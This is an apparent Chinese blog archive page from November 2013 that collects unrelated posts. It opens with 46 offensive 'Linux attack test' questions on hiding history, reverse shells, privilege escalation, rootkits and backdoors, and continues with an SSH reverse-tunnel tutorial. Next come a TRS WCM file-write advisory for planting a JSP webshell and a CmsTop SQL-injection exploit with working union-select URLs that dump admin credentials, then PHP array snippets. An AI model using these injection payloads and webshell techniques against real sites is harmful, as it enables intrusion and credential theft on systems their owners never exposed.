月度归档:2013年11月

linux攻击测试题

1.登录系统如何不让记录历史操作命令? 
  2.ssh 限制了ip登录,要求ssh登录,如何处理? 
  3.在ssh后门里看不到对方是否登录的情况下,用哪个命令可以准确显示出来? 
  4. 如何获取真正的tty 
  5.如何使用telnet进行反向连接 
  6.我需要下载一批exp,全部命名是xxx1.c xxx2.c …..xxx50.c,请给出一条命令来完成下载 
  7.Windows下面NC监听linux返回shell执行命令不 能正确换行,该怎么处理? 
  8.请写出一条bash提权的命令 
  9.请写出ssh和plink隧道转发(本地,远程,动态) 的六条命令 
  10.本地rootshell是否可以用bash和tcsh 
  11.请说出3种linux下dns踩点的工具 
  12. 如何利用bash做反弹,端口扫描和下载,给出具体语句 
  13.如何查看主机共享并进行利用 
  14.请简要说明bash执行命令的流程,用bash劫持su命令去实现密码记录功能 
  15. 为跳板的时候,我们有可能需要用本机的ssh去访问别的机器,但是别的机器的公钥呢?总不能放在当前用户的目录下吧?当然你可以事后删除,但多一事不如少 一事,你该怎么办?并且要求即使是普通用户登录管理员也不能看见 
  16.rm删除就不可取,正确的删除文件做法是 
  17.如 何修改一个文件的时间戳 
  18.请列出3种以上端口重定向的工具 
  19.有个工具能够让你在内网渗透中事半功倍.让你的计算 机属于对方内网的状态,请说出该工具的名字 
  20.ubuntu普通用户登录图形界面,在不知道root密码的情况下如何root登录 
  21. 请说明rsync渗透的时候如何下载192.168.1.2的/var/www/config.php 
  22.如果不小心一次登录 history记录了你某条命令,你会采取什么样的方法去处理 
  23.请说明如何利用sslstrip和ettercap交换机环境下突破 ssl嗅探密码 
  24.现在和一台电脑处理内网内,对方ip是192.168.1.2,他正在上网找资料,请使用ettercap在最短的 时间获取对方权限,你会怎么做,不需要写得很详细,大致的可以看明白就行了 
  25.家里内网的metasploit如何远程让我在公司连接 
  26.linux 下的rdesktop遇到终端服务器超出了最大允许连接怎么办,并说明如何隐藏的客户端名字在对方电脑的显示 
  27.当你得知其他黑客也在登录ssh如何将对方提出 
  28. 对方apache某个目录存在webdav漏洞,要求用linux一条命令连接进去,具备上传shell权限,请问是哪个命令 
  29.linux 下如何加密压缩包 
  30.请说明你登录一个肉鸡去查找信息第一件要做的事是什么 
  31.请在一条命令里列出对方的ip地址, 只要外网ip(只要数字ip,明白?) 
  32.请说明apache和nginx配置文件一般的存放位置,一起说出4种路径即可 
  32. 在disable_function把所有命令函数都禁用了,你会采用什么样的有效方法去突破 
  33.除了过时的..做临时目录,你是否还 有更好的方法,请说出至少一种 
  34.一站点存在本地包含漏洞,无法包含shell;另外存在注入是root权限,无法写shell,无后台,无法load_file,纯属变态服务器,采用了pam_mysql+vsftpd配置了ftp服务器,这时你会怎么做 
  35.请说明linux下的至少3款综合漏洞扫描器 
  36.请说明至少俩种以上web配置可以导致local root的bug 
  37.请列出至少3种可以标示系统上用户帐号的服务,以及3中暴力破解的软件 
  38.data driven attack分那俩种攻击,并简要举例说明 
  39.ftp登录是否可以进行溢出,分集中情况,命令怎么写 
  40.请列举俩种sendmail攻击方法和后门留置方法 
  41..rhosts,xterm都有哪些使用方法 
  42.linux下对dns劫持详细步驟请具体说明下 
  43.溢出失败的情况下如何获取root权限,请列出至少6类,9种方法 
  44.请列出5种rootkit并说明他们各自的特点 
  45.如何为Linux添加uid为0的用户 

  46.如何嗅探vpn账号密码,请说明详细操作 



http://zone.wooyun.org/content/8457

ssh反向隧道实验——在没有路由器权限的情况下,让外网访问内网服务器

ssh反向隧道实验——在没有路由器权限的情况下,让外网访问内网服务器

http://my.oschina.net/abcfy2/blog/177094

有关ssh反向隧道的概念和用法详情可以google,这里不再细表,只是做一个实验。

服务器在局域网,没有配置路由器端口映射,想让外网访问到内网服务器。 
此时外网有一个公网服务器,该服务器具有合法IP,希望借助该服务器访问到局域网,该服务器将作为用户前端服务器,外网用户访问这个服务器就可以访问到局域网内部服务器了。

以下涉及到外网服务器的IP全部打码处理

开始试验,首先按照这个资料:http://blog.zjutoe.net/?p=95 , 来简单做个小实验。 
virtualbox虚拟了一个debian,就照着资料提供的命令在debian的终端上敲autossh -M 5678 -NR 19999:localhost:22 root@myserver_ip,输入密码后ssh就在前台开始监听端口了。

进入外网服务器,看一下监听端口: 
在此输入图片描述

没问题!确实在远程服务器开放了一个19999端口,通过这个端口就实现了隧道,访问这个端口实际就访问了我内网服务器的22端口。显然22端口是ssh的默认端口,我们现在就来试一下: 
在此输入图片描述

Very Good!成功了!在没有路由器端口映射的情况下,成功让外网访问到了内网服务器!

接下来我们继续实现我们的需求,在虚拟机上的debian搭建webserver。 
使用apache做webserver,IP为192.168.1.106,为了让实验明显点,编辑了一下index.html。 
局域网内部打开浏览器,访问192.168.1.106

在此输入图片描述

现在要让外网访问到这个网站,其实我不怎么会搭建socket-4a代理,只好把上面的命令改一下了,让外网服务器上19999映射到内网服务器上80端口。(其实用socket代理效果会更好,不需要再这么转端口了) 
在debian服务器上把命令改成autossh -M 5678 -NR 19999:localhost:80 root@myserver_ip 
这次在外网服务器测试一下,终端下用links浏览器访问一下看看 
在此输入图片描述

在此输入图片描述

Good job! 发现确实OK,注意用的是http-proxy,socket-proxy需要改一些东西。 
此时理论上只要用这台服务器做代理服务器,那么外网用户就可以访问到内网服务器了。

但是外网用户可能还是觉得自己去配置代理服务器太麻烦了,喜欢更加简单的操作。 
那么我们可以用apache(或者nginx等其他webserver)的mod_proxy模块,把apache配置成前端代理服务器,用户访问本机的apache就相当于访问了内网服务器,这个也很简单,打开apache的mod_proxy模块,在配置文件中写上http代理的配置即可。 
我是这么写的:

在此输入图片描述

按照这个配置,用户访问/proxy实际就是访问的内网服务器(可根据需要调整),实际上是不是这样呢? 
迫不及待的打开本机浏览器,访问一下/proxy 
在此输入图片描述

Nice!!!完全一致!! 
至此完成全部实验!

这个问题,ssh -y -i ssh.rsd -f -N -R直接搞定,ssh本身就有的功能而已。

TRS WCM 6.X系统任意文件写入漏洞

TRS WCM的Web Service提供了向服务器写入文件的方式,可以直接写jsp文件获取webshell。

Web Service路径:http://xx~/wcm/services,web service信息大概是这个样子的:

trswcm:ImportService (wsdl)

        importDocuments 

    urn:FileService (wsdl)

        sendFileBase64 

    trswcm:GetChannelInfoService (wsdl)

        getAllChannelXML

        getChannelXML 

    trswcm:GetSOAPInfoService (wsdl)

        getMajorVersion 

    trswcm:SOAPService (wsdl)

        getMajorVersion

        importDocuments

        uploadFile

        importDocumentsByLocalFile

        getAllChannelXML

        getChannelChildrenXML

        getChannelXML

        getSiteXML

        sendFileBase64 

...

    trs:templateservicefacade (wsdl)

        logout

        login

        writeFile

        preview

        checkin

        checkout

        getAllSettings

        getSettingByType

        confirm

        getSettingTypeList

        getAllSites

        writeSpecFile

        makeTemplateFolder 

    trswcm:UploadService (wsdl)

        uploadFile

        sendFileBase64

经测试其中trs:templateservicefacade服务的writeFile和writeSpecFile两个操作都可以向服务器写入文件,其它还有些sendFileBase64、uploadFile之类的没试过了。

1.writeFile和writeSpecFile两个操作参数差不多,第一个参数都是base64加密后的文件内容;

2.writeFile方式会返回物理路径,使用writeSpecFile前需要用writeFile获取路径;

3.writeFile第二参数是文件后缀名,在windows版本下可以利用../跳转目录;

4.writeSpecFile第二个参数是文件绝对路径,这个就随便搞了;

5.访问大部分JSP页面时系统经常会验证是否登陆,否则跳转,一般写这几个地方就OK(这几个默认是没有的):

~/wcm/index.jsp

~/wcm/demo/index.jsp

~/wcm/include/login.jsp

…more…

6.注意:writeSpecFile会覆盖原文件,writeFile则会返回失败,不会覆盖原文件;

7….

漏洞证明:

这个我没试过,图片是别人发给我的,我不大清楚咧。

writeFile:

3.jpg

5.jpg

writeSpecFile:

1.jpg

22.jpg

cmstop漏洞

漏洞文件/apps/vote/controller/vote.php

app.xxx.com/?app=vote&controller=vote&action=total&contentid=1 


获取管理员id

  1. ?app=vote&controller=vote&action=total&contentid=1 and 1=2 union select userid from cmstop_admin where departmentid=2 limit 0,1;#


获取到底管理id是啥你就自己写啥

  1. ?app=vote&controller=vote&action=total&contentid=1 and 1=2 union select concat(username,char(0x3d),password) from cmstop_member where userid=1;#


读取后台地址

  1. ?app=vote&controller=vote&action=total&contentid=1%20and%201=2%20union%20select%20url%20from%20cmstop_mymenu%20where%201=1%20limit%200,1;%23


cmstop只有app这个有动态脚本

关于如何找到这个动态的站

site:xxx.com inurl:roll.php

数据库文件
cmstop/config/db.php

关于拿shell

管理员帐号进入后台后直接模板里面guestbook模板插入一句话

然后访问app.xxx.com/?app=guestbook

一款功能强大的中国地图特效

把收藏以久的一款功能强大的地图插件分享出来给大家使用,需要配合几行js代码才可以实现完美功能,此地图是用flash制作的,弹出层显示信息主要由js方法实现,效果非常棒,背景设置透明,可以与任何颜色一起使用。。。

http://www.jq-school.com/Preview.aspx?id=191

<script language="javascript" type="text/javascript">
function showmap(Province){
    var Canshu=Province;
	alert(Canshu);   
}
</script>

20130420143703015

PHP 数组重组

<?php

$a=array(0=>array('name'=>'aaaaa','id'=>'1'),1=>array('name'=>'aaaddaa','id'=>'1-1'),2=>array('name'=>'aaaaa','id'=>'1-2'),3=>array('name'=>'aaaaa','id'=>'2'),4=>array('name'=>'aaaaa','id'=>'2-1'));


var_dump($a);
$new=array();

foreach ($a as $key => $value) {
	if (!strpos($value['id'], '-')){
		$new[]=$value;
		unset($a[$key]);
	}
}

var_dump($new);

var_dump($a);

$new=array_merge($new,$a);

var_dump($new);


结果:
array(5) {
  [0]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(1) "1"
  }
  [1]=>
  array(2) {
    ["name"]=>
    string(7) "aaaddaa"
    ["id"]=>
    string(3) "1-1"
  }
  [2]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(3) "1-2"
  }
  [3]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(1) "2"
  }
  [4]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(3) "2-1"
  }
}
array(2) {
  [0]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(1) "1"
  }
  [1]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(1) "2"
  }
}
array(3) {
  [1]=>
  array(2) {
    ["name"]=>
    string(7) "aaaddaa"
    ["id"]=>
    string(3) "1-1"
  }
  [2]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(3) "1-2"
  }
  [4]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(3) "2-1"
  }
}
array(5) {
  [0]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(1) "1"
  }
  [1]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(1) "2"
  }
  [2]=>
  array(2) {
    ["name"]=>
    string(7) "aaaddaa"
    ["id"]=>
    string(3) "1-1"
  }
  [3]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(3) "1-2"
  }
  [4]=>
  array(2) {
    ["name"]=>
    string(5) "aaaaa"
    ["id"]=>
    string(3) "2-1"
  }
}



			

php 数组分组

<?php
$a=array(0=>array('id'=>1,'tt'=>'asdfasdf','time'=>'2013-1-2'),1=>array('id'=>2,'tt'=>'asdfasdf','time'=>'2013-1-2'),2=>array('id'=>3,'tt'=>'asdddfffasdf','time'=>'2013-1-3'));

$data=array();

foreach ($a as $key => $value) {
	$data[$value['time']][]=$value;
}
var_dump($a);

var_dump($data);
$end=array();
$i=0;
foreach($data as $key=>$v){
	$end[$i]['date']=$key;
	$end[$i]['content']=$v;
	$i+=1;
}

var_dump($end);

结果:

array(3) {
  [0]=>
  array(3) {
    ["id"]=>
    int(1)
    ["tt"]=>
    string(8) "asdfasdf"
    ["time"]=>
    string(8) "2013-1-2"
  }
  [1]=>
  array(3) {
    ["id"]=>
    int(2)
    ["tt"]=>
    string(8) "asdfasdf"
    ["time"]=>
    string(8) "2013-1-2"
  }
  [2]=>
  array(3) {
    ["id"]=>
    int(3)
    ["tt"]=>
    string(12) "asdddfffasdf"
    ["time"]=>
    string(8) "2013-1-3"
  }
}
array(2) {
  ["2013-1-2"]=>
  array(2) {
    [0]=>
    array(3) {
      ["id"]=>
      int(1)
      ["tt"]=>
      string(8) "asdfasdf"
      ["time"]=>
      string(8) "2013-1-2"
    }
    [1]=>
    array(3) {
      ["id"]=>
      int(2)
      ["tt"]=>
      string(8) "asdfasdf"
      ["time"]=>
      string(8) "2013-1-2"
    }
  }
  ["2013-1-3"]=>
  array(1) {
    [0]=>
    array(3) {
      ["id"]=>
      int(3)
      ["tt"]=>
      string(12) "asdddfffasdf"
      ["time"]=>
      string(8) "2013-1-3"
    }
  }
}
array(2) {
  [0]=>
  array(2) {
    ["date"]=>
    string(8) "2013-1-2"
    ["content"]=>
    array(2) {
      [0]=>
      array(3) {
        ["id"]=>
        int(1)
        ["tt"]=>
        string(8) "asdfasdf"
        ["time"]=>
        string(8) "2013-1-2"
      }
      [1]=>
      array(3) {
        ["id"]=>
        int(2)
        ["tt"]=>
        string(8) "asdfasdf"
        ["time"]=>
        string(8) "2013-1-2"
      }
    }
  }
  [1]=>
  array(2) {
    ["date"]=>
    string(8) "2013-1-3"
    ["content"]=>
    array(1) {
      [0]=>
      array(3) {
        ["id"]=>
        int(3)
        ["tt"]=>
        string(12) "asdddfffasdf"
        ["time"]=>
        string(8) "2013-1-3"
      }
    }
  }
}